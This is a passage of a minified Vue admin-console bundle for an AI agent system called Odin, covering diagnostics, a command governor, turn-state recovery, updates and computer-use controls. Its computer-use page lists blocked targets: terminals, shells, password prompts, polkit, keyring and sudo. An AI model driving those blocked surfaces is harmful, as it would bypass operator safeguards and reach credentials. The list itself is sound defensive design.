aveCompatibleConfigDebounced:zn,saveCodexConfigNow:Vb,saveOllamaConfigNow:Gb,saveCompatibleConfigNow:Wb,saveCodexAdvancedConfigNow:Kb,saveOllamaAdvancedConfigNow:Jb,saveCompatibleAdvancedConfigNow:Zb,activateAccount:Yb,refreshAccount:Xb,startEditLabel:ey,saveLabel:ty,deleteAccount:sy,startDeviceLogin:ay,cancelDeviceLogin:iy,formatSize:wb,fetchContextWindows:Bn,clearContextClamp:Qb,setContextOverride:Lb,setContextUtilization:Nb,resetContextOverride:Mb,overrideAboveFloor:Ob,formatCount:kb,formatContextCeiling:Sb,formatExpiry:Cb,shortAccountKey:Ab,provenanceClass:Ib,formatDensity:Rb,quotaBlocks:QC,quotaFailureVisible:YC,quotaAge:Eb,formatQuotaDate:Tb}}},tm={ok:"text-green-400",pass:"text-green-400",degraded:"text-yellow-400",warn:"text-yellow-400",down:"text-red-400",fail:"text-red-400",unconfigured:"text-gray-500",skipped:"text-gray-500"};function nT(e){return tm[e]||tm[(e||"").toLowerCase()]||"text-gray-400"}const iT={template:` -
-
-
-
- - - -
-
-

- {{ failedCount }} of {{ endpoints.length }} internal endpoints failed to load: - {{ failedEndpointSummary }}. -

-
- - -
-

Startup Diagnostics

-
-
- {{ startup.passed_count || 0 }}/{{ startup.total_checks || 0 }} passed - ({{ startup.duration_ms }}ms) -
-
- - - - {{ d.name }} - {{ d.detail || '' }} -
-
-

No diagnostics available

-
- - -
-

Subsystem Guard

-
-
-
- - - - {{ s.name }} -
-
- {{ s.total_successes || 0 }} ok / {{ s.total_failures || 0 }} fail - — last fail: {{ formatAgeSeconds(s.last_failure_age_seconds) }} -
-
-
-

No subsystems registered

-
- - -
-

Connection Pools

-
-
-

SSH Pool

-
-
Active connections: {{ sshPool.active_connections || 0 }}
-
Active hosts: {{ sshPool.active_hosts?.length ? sshPool.active_hosts.join(', ') : 'None' }}
-
Opened: {{ sshPool.total_opened || 0 }}
-
Reused: {{ sshPool.total_reused || 0 }}
-
-

No SSH pool data

-
-
-

HTTP Pools

-
-
- {{ provider }} - - -
-
-

No HTTP pool data

-
-
-
- - -
-

Command Governor

-
-
- Blocked: {{ governorStats.blocked || 0 }} - High-risk allowed: {{ governorStats.allowed_high_risk || 0 }} -
-
-
Recent blocks:
-
- [{{ b.risk }}] {{ b.reason }} — {{ b.command }} -
-
-
-

No governor data

-
- - -
- - -
-

Risk Classifier

-
-
Total assessed: {{ riskTotal }}
-
Critical: {{ riskStats.totals?.critical || 0 }}
-
High risk: {{ riskStats.totals?.high || 0 }}
-
Medium: {{ riskStats.totals?.medium || 0 }}
-
Low: {{ riskStats.totals?.low || 0 }}
-
-

No risk data

-
- - -
-

Recovery

-
-
Attempts: {{ recoveryStats.totals?.attempts || 0 }}
-
Recovered: {{ recoveryStats.totals?.successes || 0 }}
-
Failed: {{ recoveryStats.totals?.failures || 0 }}
-
-

Recovery disabled or no data

-
- - -
-

Context Compression

-
-
Compressions: {{ compressionStats.compressions || 0 }}
-
Iterations compressed: {{ compressionStats.iterations_compressed || 0 }}
-
Chars saved: {{ (compressionStats.chars_saved || 0).toLocaleString() }}
-
Prefix cache hit rate: {{ ((compressionStats.prefix_hit_rate || 0) * 100).toFixed(0) }}%
-
-

No compression data

-
- -
- - -
-

Branch Freshness

-
-
Checks: {{ freshnessStats.total_checks || 0 }}
-
Stale detected: {{ freshnessStats.stale_found || 0 }}
-
Fetch failures: {{ freshnessStats.fetch_failures || 0 }}
-
-

Freshness checking disabled or no data

-
- -
-
- `,setup(){const e=f(!0),t=f({}),s=f([]),a=f({}),n=f({}),i=f(null),l=f(null),o=f(null),r=f(null),c=f(null),d=B(()=>{var _;return Object.values(((_=i.value)==null?void 0:_.totals)||{}).reduce((T,L)=>T+Number(L||0),0)}),u=f(""),p=f(0),m=f([]),h=B(()=>m.value.map(_=>`${_.label} (${_.path}${_.reason?`: ${_.reason}`:""})`).join("; ")),y=Object.freeze([{key:"startup",label:"Startup diagnostics",path:"/api/startup/diagnostics"},{key:"subsystems",label:"Subsystem status",path:"/api/subsystems/status"},{key:"sshPool",label:"SSH pool",path:"/api/pools/ssh"},{key:"httpPool",label:"HTTP pool",path:"/api/pools/http"},{key:"riskStats",label:"Risk stats",path:"/api/risk/stats"},{key:"recoveryStats",label:"Recovery stats",path:"/api/recovery/stats"},{key:"compressionStats",label:"Compression stats",path:"/api/compression/stats"},{key:"freshnessStats",label:"Freshness stats",path:"/api/freshness/stats"},{key:"governorStats",label:"Governor stats",path:"/api/governor/stats"}]);let k=null;async function A(){var F;const _=await Promise.allSettled(y.map(O=>z.get(O.path))),T=O=>_[O].status==="fulfilled"?_[O].value:null;t.value=T(0)||{};const L=T(1);s.value=Array.isArray(L)?L:L&&L.subsystems||[],a.value=T(2)||{},n.value=T(3)||{},i.value=T(4),l.value=T(5),o.value=T(6),r.value=T(7),c.value=T(8);const E=_.filter(O=>O.status==="rejected");if(m.value=_.flatMap((O,I)=>{var H;return O.status==="rejected"?[{...y[I],reason:((H=O.reason)==null?void 0:H.message)||"request failed"}]:[]}),p.value=m.value.length,E.length===_.length){const O=(F=E[0])==null?void 0:F.reason;u.value=(O==null?void 0:O.message)||"Failed to load internals"}else u.value="";e.value=!1}function g(){e.value=!0,u.value="",A()}let b=!1;function x(){b||(b=!0,A(),k||(k=setInterval(A,3e4)))}function w(){b&&(b=!1,k&&(clearInterval(k),k=null))}return st(x),cs(x),es(w),wt(w),{loading:e,error:u,failedCount:p,failedEndpoints:m,failedEndpointSummary:h,endpoints:y,retry:g,startup:t,subsystems:s,sshPool:a,httpPool:n,riskStats:i,riskTotal:d,recoveryStats:l,compressionStats:o,freshnessStats:r,governorStats:c,statusColor:nT,formatAgeSeconds:k1}}},lT=1e4,sm=3e4;function wl(e,t){return Math.max(0,e-t)}function Qc(e,t){return new Set((e.operations||[]).map(a=>a.state)).has("MANUAL_RESOLUTION_REQUIRED")?0:e.expired_lease||e.status==="ACTIVE"&&(!e.lease_expires_at||e.lease_expires_at -
-

Turn State

-
- Data stale - -
-
-

- Read-only current recovery posture. Historical interrupted-effect evidence - remains available below as diagnostics, not operator work. -

- -
-
-
-

Current posture

-

Active work, suspended recovery, expired leases, and effects requiring a human.

-
- stale — last success {{ turnsAgeSeconds }}s ago -
- -
- Turn durability is not enabled in this deployment. -
-
-

{{ turnsError }}

- -
- -
-
-
-
- -
-
-

Model capacity breakers

-
- process lifetime - stale — last success {{ breakersAgeSeconds }}s ago -
-
- -
- Breaker registry is not constructed in this deployment. -
-
-

{{ breakersError }}

- -
- -
-
-
-
-
- `,setup(){const e=f(null),t=f(""),s=f(null),a=f(!1),n=f(0),i=f(null),l=f(""),o=f(null),r=f(!1),c=f(0),d=f(Date.now());let u=null,p=0,m=0;async function h(){const M=++p;a.value=!0;try{const $=await z.get("/api/turn-state/turns?limit=100");if(M!==p)return;t.value=$.availability,e.value=$.availability==="available"?$.data:null,s.value=null,n.value=Date.now()}catch($){if(M!==p)return;s.value=$.message||"Turn-state read failed",$.status===503&&(t.value="unavailable")}M===p&&(a.value=!1)}async function y(){const M=++m;r.value=!0;try{const $=await z.get("/api/turn-state/capacity-breakers");if(M!==m)return;l.value=$.availability,i.value=$.availability==="available"?$.data:null,o.value=null,c.value=Date.now()}catch($){if(M!==m)return;o.value=$.message||"Breaker read failed",$.status===503&&(l.value="unavailable")}M===m&&(r.value=!1)}function k(){h(),y()}const A=B(()=>e.value!==null&&wl(d.value,n.value)>sm),g=B(()=>i.value!==null&&wl(d.value,c.value)>sm),b=B(()=>A.value||g.value),x=B(()=>Math.round(wl(d.value,n.value)/1e3)),w=B(()=>Math.round(wl(d.value,c.value)/1e3));function _(M){return Qc(M,d.value/1e3)}function T(M){return oT[_(M)]}const L=B(()=>{var re;const M=[...((re=e.value)==null?void 0:re.turns)||[]],$=d.value/1e3;return M.sort((ce,Z)=>Qc(ce,$)-Qc(Z,$)||(Z.last_progress_at||0)-(ce.last_progress_at||0))});function E(M){return M.state==="closed"?"badge-success":M.state==="probing"?"badge-warning":"badge-danger"}function F(M){if(M.state==="closed")return"—";const $=wl(d.value,c.value)/1e3,re=Math.max(0,(M.cooldown_remaining_seconds||0)-$);return re>0?`${Math.ceil(re)}s`:M.state==="probing"?"probe in flight":"probe eligible"}function O(M){if(!M)return"";const $=Math.max(0,Math.round(d.value/1e3-M));if($<90)return`${$}s ago`;const re=Math.round($/60);return re<90?`${re}m ago`:`${Math.round(re/60)}h ago`}let I=null,H=null,te=!1;function ee(){te||(te=!0,k(),I=setInterval(k,lT),u=setInterval(()=>{d.value=Date.now()},1e3),H=mt.onReconnected(k))}function N(){te&&(te=!1,I&&(clearInterval(I),I=null),u&&(clearInterval(u),u=null),H&&(H(),H=null))}return st(ee),cs(ee),es(N),wt(N),{turnsData:e,turnsAvailability:t,turnsError:s,turnsLoading:a,breakersData:i,breakersAvailability:l,breakersError:o,breakersLoading:r,turnsStale:A,breakersStale:g,anyStale:b,turnsAgeSeconds:x,breakersAgeSeconds:w,sortedTurns:L,priorityOf:_,priorityBadge:T,breakerBadge:E,cooldownLabel:F,ageLabel:O,fetchTurns:h,fetchBreakers:y,refreshAll:k,arm:ee,disarm:N}}},cT={setup(){const e=f(""),t=f(""),s=f(!1),a=f(""),n=f(!1),i=f(!1),l=f(!1),o=f(null),r=f(!1);async function c(){n.value=!0,o.value=null,r.value=!1;try{const u=await z.get("/api/update/check");e.value=u.current||"",t.value=u.latest||"",s.value=u.update_available||!1,a.value=u.changelog||"",u.error&&(o.value=u.error),r.value=!0}catch(u){o.value=u.message}finally{n.value=!1}}async function d(){if(await is({title:"Update & restart",message:"Update Odin and restart? Active tasks will be interrupted.",confirmLabel:"Update & Restart",danger:!0})){i.value=!0,o.value=null;try{await z.post("/api/update/apply",{version:"latest"}),l.value=!0,setTimeout(()=>location.reload(),8e3)}catch(p){o.value=p.message}finally{i.value=!1}}}return st(c),{current:e,latest:t,updateAvailable:s,changelog:a,checking:n,applying:i,applied:l,error:o,checkDone:r,checkUpdate:c,applyUpdate:d}},template:` -
-
-

Updates

-

Check for new Odin releases and apply updates.

-
- - -
-
-
- Current version -

{{ current || '...' }}

-
- -
-
- - -
-
- - Update available: {{ latest }} -
-
{{ changelog }}
- -
- - -
-
- - You're running the latest version. -
-
- - -
-
- - Update applied. Restarting... This page will reload automatically. -
-
- - -
-

{{ error }}

-
-
- `},am=e=>JSON.parse(JSON.stringify(e)),dT=(e,t)=>JSON.stringify(e)===JSON.stringify(t),uT={emits:["saved"],template:` -
-
-
-

Computer provisioning

-

Edit desired target, storage and launcher policy. All settings below require an Odin restart. Startup values remain pinned, even across disable/enable cycles.

-
- Restart required -
-

Saving does not install dependencies, create storage, grant OS permissions, attach to a desktop or restart Odin. Enable/disable and Stop session are separate lifecycle controls above.

-

Hyprland only: best-effort input. A hard guardian SIGKILL can leave input held. Releasing Odin's button can clobber the physical user's simultaneous same-button hold. Use Release owned input for recovery, then obtain a fresh observation. Native explicit-output capture only; there is no portal fallback. The operator must load the ABI-matched scope plugin once at setup. Saving or enabling never loads it or edits hyprland.conf.

-

{{ message }}

- -

Loading desired configuration and restart metadata…

-

{{ pending.length ? 'Saved settings still pending restart: ' + pending.join(', ') : 'No pending provisioning restart reported.' }}

-

Some startup values are unknown; absence of a pending flag does not prove those settings are active.

-
-
- Desired computer settings -
- -

{{ field.description }}

- - - - - -
-
-
- - -
-
-
-

Review provisioning changes

-
-
-
{{ change.label }}
-
Saved: {{ format(original[change.key]) }}
-
Desired: {{ format(change.value) }}
-
-
-

Only these changed provisioning fields will be saved. Running sessions keep startup settings. Nothing is enabled, stopped or restarted.

-
- - -
-
- -

Drafts are local to this view and discarded when leaving it. Backend validation remains authoritative.

-
`,setup(e,{emit:t}){const s=f([]),a=f({}),n=f({}),i=f(!1),l=f(!1),o=f(!1),r=f(!1),c=f(!1),d=f(""),u=f("");let p=!1,m=0,h=null;const y=(N,M)=>p&&m===N&&z.token===M,k=N=>"computer-provisioning-"+N.key,A=N=>N===null?"Unset":N===""?"Empty":JSON.stringify(N),g=N=>{const M=n.value[N.key];return N.type==="array"?String(M||"").split(/\r?\n/).map($=>$.trim()).filter(Boolean):["integer","number"].includes(N.type)?M===""||M==null?null:Number(M):M},b=B(()=>s.value.map(N=>({...N,value:g(N)})).filter(N=>!dT(N.value,a.value[N.key]))),x=B(()=>s.value.filter(N=>N.pending_restart).map(N=>N.label)),w=B(()=>s.value.some(N=>N.apply_state==="unknown")),_=B(()=>{const N={};for(const M of s.value){const $=g(M),re=M.constraints||{};["integer","number"].includes(M.type)&&($===null&&!M.nullable?N[M.key]="A number is required.":$!==null&&(!Number.isFinite($)||M.type==="integer"&&!Number.isInteger($)||re.minimum!=null&&$re.maximum)&&(N[M.key]="Enter a number within the allowed range.")),M.key==="monitor_names"&&($.length>16||new Set($).size!==$.length||$.some(ce=>!/^[A-Za-z0-9_.-]{1,64}$/.test(ce)))&&(N[M.key]="Use up to 16 unique monitor names, one per line (letters, digits, dot, underscore or hyphen).")}return N}),T=B(()=>Object.keys(_.value).length>0);function L(N,M){n.value[N.key]=M,u.value=""}function E(){n.value=Object.fromEntries(s.value.map(N=>[N.key,N.type==="array"?a.value[N.key].join(` -`):a.value[N.key]])),r.value=!1}async function F(N,M){const[$,re]=await Promise.all([z.get("/api/config"),z.get("/api/config/meta")]);if(!y(N,M))return!1;const ce=(re.fields||[]).filter(Z=>/^computer\.[^.]+$/.test(Z.path)&&Z.path!=="computer.enabled"&&Z.sensitivity==="public"&&Z.apply_mode==="restart");if(!$.computer||!ce.length)throw new Error("Provisioning metadata is unavailable. Reload before editing.");return s.value=ce.map(Z=>({...Z,key:Z.path.split(".")[1]})),a.value=Object.fromEntries(s.value.map(Z=>[Z.key,am($.computer[Z.key])])),E(),h=M,i.value=!0,c.value=!1,!0}async function O(){if(!p||l.value||o.value)return;const N=++m,M=z.token;l.value=!0,i.value=!1,d.value="",u.value="",r.value=!1;try{await F(N,M)}catch($){y(N,M)&&(c.value=!0,d.value=$.message||"Could not load provisioning. No changes were sent.")}finally{y(N,M)&&(l.value=!1)}}function I(){i.value&&!l.value&&!o.value&&!c.value&&b.value.length&&!T.value&&(r.value=!0)}async function H(){if(!p||!i.value||!r.value||o.value||l.value||c.value||T.value||!b.value.length)return;if(h!==z.token){ee(),te();return}const N={computer:Object.fromEntries(b.value.map(ce=>[ce.key,am(ce.value)]))},M=m,$=z.token;o.value=!0,d.value="",u.value="";let re=!1;try{if(await z.put("/api/config",N),re=!0,!y(M,$))return;await F(M,$)&&(u.value="Provisioning saved and configuration reloaded. Startup settings remain pinned until Odin restarts; no lifecycle action was requested.",t("saved"))}catch(ce){y(M,$)&&(c.value=!0,r.value=!1,d.value=re?"Provisioning was saved, but configuration refresh failed. Reload saved values before editing again.":`Save failed or its outcome is unknown${ce.status===400?": "+ce.message:"."} Reload saved values before editing or retrying. No request was replayed.`)}finally{y(M,$)&&(o.value=!1)}}function te(){p||(p=!0,O())}function ee(){p=!1,m++,i.value=!1,l.value=!1,o.value=!1,r.value=!1,h=null,s.value=[],a.value={},n.value={},d.value="",u.value=""}return st(te),cs(te),es(ee),wt(ee),{fields:s,original:a,draft:n,ready:i,loading:l,saving:o,reviewing:r,uncertain:c,error:d,message:u,pending:x,effectiveUnknown:w,changes:b,validation:_,invalid:T,fieldId:k,format:A,edit:L,discard:E,load:O,openReview:I,save:H}}},pT={components:{ComputerProvisioning:uT,DiscordIdentity:Dn},template:` -
- - -
-
-
{{ adminReady ? 'Current session' : 'Last-known session (not current)' }}
-
{{ status.state || 'unknown' }}
-
- {{ loading ? 'Checking status' : adminReady ? 'Session status' : 'Status not current' }} -
-

{{ checkedAt ? 'Last successful status check: ' + new Date(checkedAt).toISOString() + '. ' : 'No successful status check. ' }}Preserved details are read-only history, not current readiness, consent or session authority. Refresh status independently before further operations. Emergency Pause / Stop only request revocation and remain independently authenticated by the server.

-
-
-
-
-

Administrator lifecycle controls

-

Configuration and runtime state are separate. Changes here never restart Odin.

-
-
-
-
Configured
{{ enabledLabel(status.configured_enabled ?? status.enabled) }}
-
Runtime lifecycle
{{ enabledLabel(status.runtime_enabled) }}
-
Runtime generation
{{ status.generation ?? 'Unknown' }}
-
Backend platform / environment
{{ status.backend?.platform || 'Unknown' }} / {{ status.backend?.environment || 'Unknown' }}
-
Restart-required settings
{{ restartSettings }}
-
-
- - -
-

Lifecycle controls require a successful authenticated administrator status check.

-

Applying lifecycle change and checking status…

-

Enabling does not prove backend readiness or start a session. Session startup checks capabilities. Unavailable input remains unavailable.

-

Input unavailable: this backend cannot act. Enabling computer use does not grant mouse or keyboard control.

-

Input capability is unknown. Do not assume this backend can act.

-

Backend reports input support; session authorization and startup checks still apply.

-

Readiness: {{ status.backend.readiness }}. Input blocker: {{ status.backend.input_blocker }}.

-

Display capture access is not application inspection access. Provision the worker under the desktop user's identity, or explicitly configure runtime_sudo and its restricted worker permissions. This page does not elevate privileges.

-

Runtime settings are generation-pinned. Pending restart-required settings are not live; this page does not restart Odin.

-
- -
-

Hyprland native input: best-effort

-

A hard guardian SIGKILL can leave owned input held. Releasing Odin's button may clobber the physical user's simultaneous same-button hold. Cooperative release acknowledgments are not receiver-side proof. These accepted residuals apply only to Hyprland.

-

Native capture is limited to the explicitly consented output. There is no portal fallback. Recovery revokes input and capture, leaves the session paused, and requires renewed consent and a fresh observation.

- -

{{ status.owned_input_recovery.released ? 'Cooperative release acknowledged; receiver-side release is not verified.' : 'Release not confirmed. Inspect the desktop and use documented operator recovery; do not resume input.' }}

-
-
-
-

Desktop accessibility (AT-SPI)

- {{ accessibilityLabel }} -
-

AT-SPI is Linux's accessibility interface. Enabling it lets Odin target UI elements by identity and replace field contents reliably when the application exposes editable elements.

-

Without accessible elements, Odin can use pixels and coordinates. Field replacement uses the explicit pixel action (replace_field_pixels): click an observed field, select all, then type. It is less reliable and needs visual verification; identity-based replace_field never silently switches paths.

-

Enabled is a session setting, not proof that a particular application exposes editable elements or that input is authorized. Fresh observations, application safety checks and consent still apply.

-

Read-only org.a11y.Status IsEnabled check for the configured runtime operator session, refreshed with status about every 5 seconds while this page is open. {{ accessibilityDetail }}

-

This page does not enable or disable accessibility. Change it explicitly in your desktop's accessibility settings; that affects your whole user session, not just Odin.

-
-
-
-

Input eligibility evidence

- {{ status.input_admission.state }} -
-
-

{{ status.input_admission.state }}: {{ status.input_admission.code }}

-

Compositor: {{ status.input_admission.compositor.name }} {{ status.input_admission.compositor.version }} ({{ status.input_admission.compositor.backend }}). Build: {{ status.input_admission.compositor.build_id }}.

-

{{ status.input_admission.reason }}

-

Operator action: {{ status.input_admission.remedy }}

-

Probe scope: {{ status.input_admission.probe_scope }}.

-
-

Behavior was tested in a separate disposable compositor with the matched stack, not by abandoning held input on your desktop.

-

Eligibility evidence does not replace current backend consent, source mapping or application checks. Opening this page runs no input probe.

-
-
-
-

Application profiles

-
-
    -
  • - {{ profile.label }}: {{ profile.input === 'supported' ? 'Input eligible' : 'Capture only' }} - (application provenance unavailable) -

    {{ profile.task_scope }}

    -
  • -
-

No application profiles reported for this backend.

-

Profiles describe supported scope, not installation, focus, permission or task success. Input readiness is checked against a fresh observation.

-
-
-
-

Attached application

-
-

Focus the application you want help with, then ask in ordinary chat. There is no application allowlist. Normal dialogs, file pickers, menus and document open/new/close/reopen are ordinary use. Session Stop only detaches input; applications stay open.

-

Denied classes remain blocked: terminals, shells, authentication and password prompts, polkit, keyring, sudo and Odin control-plane windows. Session authorization, current target checks and input-release checks still apply.

-
-
Observed executable
{{ status.application_provenance?.exe_basename || 'Not observed' }}
-
Observed WM_CLASS
{{ status.application_provenance?.wm_class || 'Not observed' }}
-
Observed PID
{{ status.application_provenance?.pid ?? 'Not observed' }}
-
Trusted executable metadata
{{ status.application_provenance?.trusted_executable === true ? 'Yes' : status.application_provenance?.trusted_executable === false ? 'No' : 'Unknown' }}
-
Script identity evidence
{{ scriptIdentity }}
-
Pointer
{{ status.backend?.pointer || 'unknown' }}
-
Keyboard focus
{{ status.backend?.keyboard_focus || 'unknown' }}
-
Widget focus
{{ status.backend?.widget_focus || 'unknown' }}
-
-

Provenance describes the last observed target, not application approval or task success. Untrusted executable metadata is evidence, not an application refusal. Focus within one window may be shared even with an independent pointer. Unknown capabilities are not proof of independence.

-

Per-call input bounds: {{ inputLimits }}. These limits are not application restrictions.

-
-
Disabled or unavailable. Check configured state, lifecycle state and backend prerequisites separately.
-
{{ adminReady ? 'Agent input is revoked.' : 'Last-known session was paused; this is not current evidence of revocation.' }} This inspector does not provide remote mouse or keyboard control. Resume requires a renewed generation and fresh evidence.
-
Outcome is unknown. Refresh status; do not replay the last action.
-
-
-

Recovery evidence

- {{ status.recovery.complete ? 'Verified' : 'Review required' }} -
-

{{ status.recovery.status }}: {{ status.recovery.reason }}. Cleanup {{ status.recovery.complete ? 'verified' : 'not verified' }}.

-

Reconciliation only inspects the recorded workload. It never sends input, terminates applications or replays actions.

- -
-

Manual reconciliation is an operator attestation, not verified cleanup. Independently inspect the desktop: no held input, owned master devices or workers may remain. Known running workers also block this request. The failed action remains unknown and is never replayed.

- - - -
-
-
-
-

Session details

-
-
-
Owner
—
-
Session
{{ status.session_id || '—' }}
-
Application
{{ status.app || '—' }}
-
Last action / verification
{{ status.last_action || '—' }} / {{ status.last_verification || 'unavailable' }}
-
-
- -
-
-
-

Visual evidence

-

Frames are captured only on request. Opening or refreshing this view never captures or posts an image.

-
-
- - - -
-
-
-
{{ freshness }} · Captured {{ frame.captured_at }} · Private evidence expires {{ frame.expires_at }}
- Requested frame from the authorized application; read-only -
-

Frame expired. Observe again for current evidence.

-
- -
-
-
-
-

Export a saved workspace file

-

Choose one exact filename, not a host path. Downloads are never executed.

-
-
- -
- - -
-
-
- - Expires {{ artifact.expires_at }} -
-
-
-
`,setup(){const e=f({state:"unknown",available:!1}),t=f(!1),s=f(!1),a=f(!1),n=f(!1),i=f(!1),l=f(!1),o=f(""),r=f(!1),c=f(!1),d=f(!1),u=f(0),p=f(""),m=f(""),h=f(null),y=f(""),k=f(!1),A=f(Date.now()),g=f(""),b=f(null);let x=0,w=null,_=!1,T=z.token,L=0,E=null,F=null,O=!1;const I=J=>J===!0?"Enabled":J===!1?"Disabled":"Unknown",H=B(()=>{var J;return((J=e.value.backend)==null?void 0:J.environment)==="existing_session"}),te=B(()=>{var ie;const J=Date.parse(((ie=e.value.accessibility)==null?void 0:ie.checked_at)||"");return c.value&&Number.isFinite(J)&&A.value-J<15e3&&A.value>=J-5e3}),ee=B(()=>{var J;return te.value?I((J=e.value.accessibility)==null?void 0:J.enabled):"Unknown / not current"}),N=B(()=>{var J;return te.value?((J=e.value.accessibility)==null?void 0:J.reason)==="property_read"?"Last checked: "+e.value.accessibility.checked_at:"Property unavailable for this target. Isolated sessions, an unbound operator identity, an inactive accessibility service or an inaccessible session bus may prevent this read. Unknown does not mean disabled.":"No current property read; unknown does not mean disabled."}),M=B(()=>Object.entries(e.value.input_limits||{}).filter(([,J])=>typeof J=="number"&&Number.isFinite(J)).map(([J,ie])=>`${J}: ${ie}`).join(", ")),$=B(()=>{var ie;const J=(ie=e.value.application_provenance)==null?void 0:ie.script_identity;return typeof J=="string"?J:!J||typeof J!="object"?"Not observed":`${J.interpreter_basename||"Unknown interpreter"}; argv digest ${J.argv_digest||"not recorded"}; ${J.verified===!0?"verified":"not verified"}`}),re=B(()=>Array.isArray(e.value.application_profiles)?e.value.application_profiles.filter(J=>J&&typeof J.id=="string"&&typeof J.label=="string"&&["supported","capture_only"].includes(J.input)).slice(0,16):[]),ce=B(()=>{const J=e.value.restart_required;return Array.isArray(J)?J.length?J.join(", "):"None reported":J===!0?"Pending; restart required":J===!1?"None reported":"Unknown"}),Z=B(()=>{var ie,X;const J=Date.parse(((ie=h.value)==null?void 0:ie.captured_at)||"");return Number.isFinite(J)&&A.value2097152||!Number.isFinite(Date.parse(_e.frame.expires_at))||Date.parse(_e.frame.expires_at)<=Date.now())throw new Error("Invalid evidence");h.value=_e.frame,y.value=URL.createObjectURL(U),o.value=""}catch(_e){V(J,ie)&&Oe(_e)}finally{J===x&&(s.value=!1)}}async function he(){if(!be()||i.value||!e.value.available)return;b.value=null;const J=x,ie=z.token;i.value=!0;try{const X=await z.post("/api/computer/export",{name:g.value});V(J,ie)&&(b.value=X,o.value="")}catch(X){V(J,ie)&&Oe(X)}finally{J===x&&(i.value=!1)}}async function fe(){if(!be()||l.value||!b.value)return;const J=x,ie=z.token,X=b.value;l.value=!0;try{if(!/^[A-Za-z0-9_-]{8,128}$/.test((X==null?void 0:X.artifact_id)||""))throw new Error("Invalid export");const _e=await z.getBlob("/api/computer/download/"+X.artifact_id);if(!V(J,ie))return;const U=URL.createObjectURL(_e),de=document.createElement("a");de.href=U,de.download=X.name,de.click(),setTimeout(()=>URL.revokeObjectURL(U),1e3)}catch(_e){V(J,ie)&&Oe(_e)}finally{J===x&&(l.value=!1)}}function me(){_||(T!==z.token&&(T=z.token,ae(),u.value=0,F=null,e.value={state:"unknown",available:!1},o.value="",p.value=""),_=!0,le(),w=setInterval(()=>{A.value=Date.now(),T!==z.token&&(T=z.token,ae(),u.value=0,F=null,o.value="",p.value="",e.value={state:"unknown",available:!1}),c.value&&A.value-u.value>=15e3&&ae(),h.value&&Date.parse(h.value.expires_at)<=A.value&&(Q(),k.value=!0),b.value&&Date.parse(b.value.expires_at)<=A.value&&(b.value=null),!O&&A.value-L>=5e3&&le()},500))}function we(){_=!1,clearInterval(w),w=null,ae(),c.value=!1}return st(me),cs(me),es(we),wt(we),{status:e,checkedAt:u,remedy:p,loading:t,observing:s,stopping:a,pausing:n,exporting:i,downloading:l,error:o,frame:h,frameUrl:y,frameExpired:k,freshness:Z,name:g,artifact:b,refresh:le,control:j,observe:G,clearFrame:Q,exportFile:he,download:fe,toggling:r,adminReady:c,enabledLabel:I,restartSettings:ce,setEnabled:ve,recovering:d,recover:xe,reconcile:S,releaseOwnedInput:Y,reconciliationAck:m,applicationProfiles:re,attached:H,scriptIdentity:$,inputLimits:M,accessibilityLabel:ee,accessibilityDetail:N}}},Kg=[{id:"health",label:"Health",component:yC},{id:"resources",label:"Resources",component:xC},{id:"logs",label:"Logs",component:LC},{id:"config",label:"Config",component:qC},{id:"discord",label:"Discord",component:GC},{id:"hosts",label:"Hosts",component:JC},{id:"host-access",label:"Host Access",component:KC},{id:"api-tokens",label:"API Tokens",component:ZC},{id:"llm",label:"LLM Config",component:aT},{id:"internals",label:"Internals",component:iT},{id:"turn-state",label:"Turn State",component:rT},{id:"computer",label:"Computer",component:pT},{id:"update",label:"Update",component:cT}],fT={components:{TabbedPage:uc},setup(){return{tabs:Kg}},template:''},Qo=(e,t,s,a)=>a.map(({id:n,label:i})=>({group:e,label:i,icon:t,to:{path:s,query:{tab:n}}})),mT=[{group:"Workspace",label:"Dashboard",icon:"dashboard",to:{path:"/dashboard"}},{group:"Workspace",label:"Chat",icon:"chat",to:{path:"/chat"}},...Qo("Operations","operations","/operations",Fg),...Qo("History","history","/history",Bg),...Qo("Capabilities","capabilities","/capabilities",Ug),{group:"Manage",label:"Personality",icon:"personality",to:{path:"/personality"}},...Qo("System","system","/system",Kg)],Us=Mn({open:!1,query:"",selected:0});function nm(){Us.query="",Us.selected=0,Us.open=!0}function Yc(){Us.open=!1}function vT(e,t){const s=e.label.toLowerCase(),a=`${e.group} ${e.label}`.toLowerCase();return t?s.startsWith(t)?100:a.startsWith(t)?80:s.includes(t)?60:a.includes(t)?40:0:1}const hT={setup(){const e=Ig(),t=f(null),s=B(()=>{const i=Us.query.trim().toLowerCase();return mT.map(l=>({...l,_score:vT(l,i)})).filter(l=>l._score>0).sort((l,o)=>o._score-l._score)});Gt(()=>Us.open,async i=>{var l;i&&(await Ut(),(l=t.value)==null||l.focus())}),Gt(()=>Us.query,()=>{Us.selected=0});function a(i){Yc(),e.push(i.to)}function n(i){if(i.key==="Escape"){i.preventDefault(),Yc();return}if(i.key==="ArrowDown")i.preventDefault(),Us.selected=Math.min(Us.selected+1,s.value.length-1);else if(i.key==="ArrowUp")i.preventDefault(),Us.selected=Math.max(Us.selected-1,0);else if(i.key==="Enter"){i.preventDefault();const l=s.value[Us.selected];l&&a(l)}}return{state:Us,results:s,inputEl:t,go:a,onKeydown:n,closePalette:Yc}},template:` - - - - `},Ud={brand:"M12 3 4.5 8v8L12 21l7.5-5V8L12 3Zm0 4.2 4.6 3.1L12 16.8l-4.6-6.5L12 7.2Zm0 3.3v3.7",dashboard:"M4 13h6V4H4v9Zm0 7h6v-4H4v4Zm10 0h6v-9h-6v9Zm0-16v4h6V4h-6Z",chat:"M20 15a3 3 0 0 1-3 3H9l-5 3v-6a3 3 0 0 1-1-2.2V7a3 3 0 0 1 3-3h11a3 3 0 0 1 3 3v8Z",operations:"M5 12h3l2-6 4 12 2-6h3M4 4v16h16",history:"M4 12a8 8 0 1 0 2.3-5.7L4 8.5M4 4v4.5h4.5M12 7v5l3 2",home:"M3 11.5 12 4l9 7.5M5.5 10v10h13V10M9 20v-6h6v6",users:"M16 20v-2a4 4 0 0 0-4-4H6a4 4 0 0 0-4 4v2m7-10a4 4 0 1 0 0-8 4 4 0 0 0 0 8Zm13 10v-2a4 4 0 0 0-3-3.9m-2-11.8a4 4 0 0 1 0 7.7",capabilities:"M14.7 6.3a4 4 0 0 0-5.6 5.6L4 17v3h3v-2h2v-2h2l1.1-1.1a4 4 0 0 0 5.6-5.6l-3 3-3-3 3-3Z",personality:"M12 3a8 8 0 0 0-8 8c0 4 3 7 7 7v3h3v-3c3 0 6-3 6-7a8 8 0 0 0-8-8ZM8.5 10h.01M15.5 10h.01M9 14c1.7 1.2 4.3 